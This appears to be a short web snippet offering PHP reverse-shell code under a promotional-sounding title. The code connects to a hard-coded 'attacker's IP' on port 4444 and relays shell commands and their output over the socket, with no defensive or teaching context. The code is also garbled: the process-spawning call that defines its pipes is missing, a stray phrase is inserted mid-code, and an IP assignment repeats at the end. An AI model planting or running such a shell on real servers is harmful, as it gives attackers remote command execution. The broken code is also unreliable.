Php-reverse Shell (AUTHENTIC • STRATEGY)
<?php set_time_limit(0); $ip = '192.168.1.100'; // Attacker's IP $port = 4444; // Attacker's listening port $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) die("Error: $errstr ($errno)\n");
$descriptorspec = array( 0 => array("pipe", "r"), // stdin 1 => array("pipe", "w"), // stdout 2 => array("pipe", "w") // stderr ); php-reverse shell
while (!feof($sock)) { $cmd = fgets($sock); if (trim($cmd) == "exit") break; fwrite($pipes[0], $cmd); $output = stream_get_contents($pipes[1]); $errors = stream_get_contents($pipes[2]); fwrite($sock, $output . $errors); } $ip = '192.168.1.100'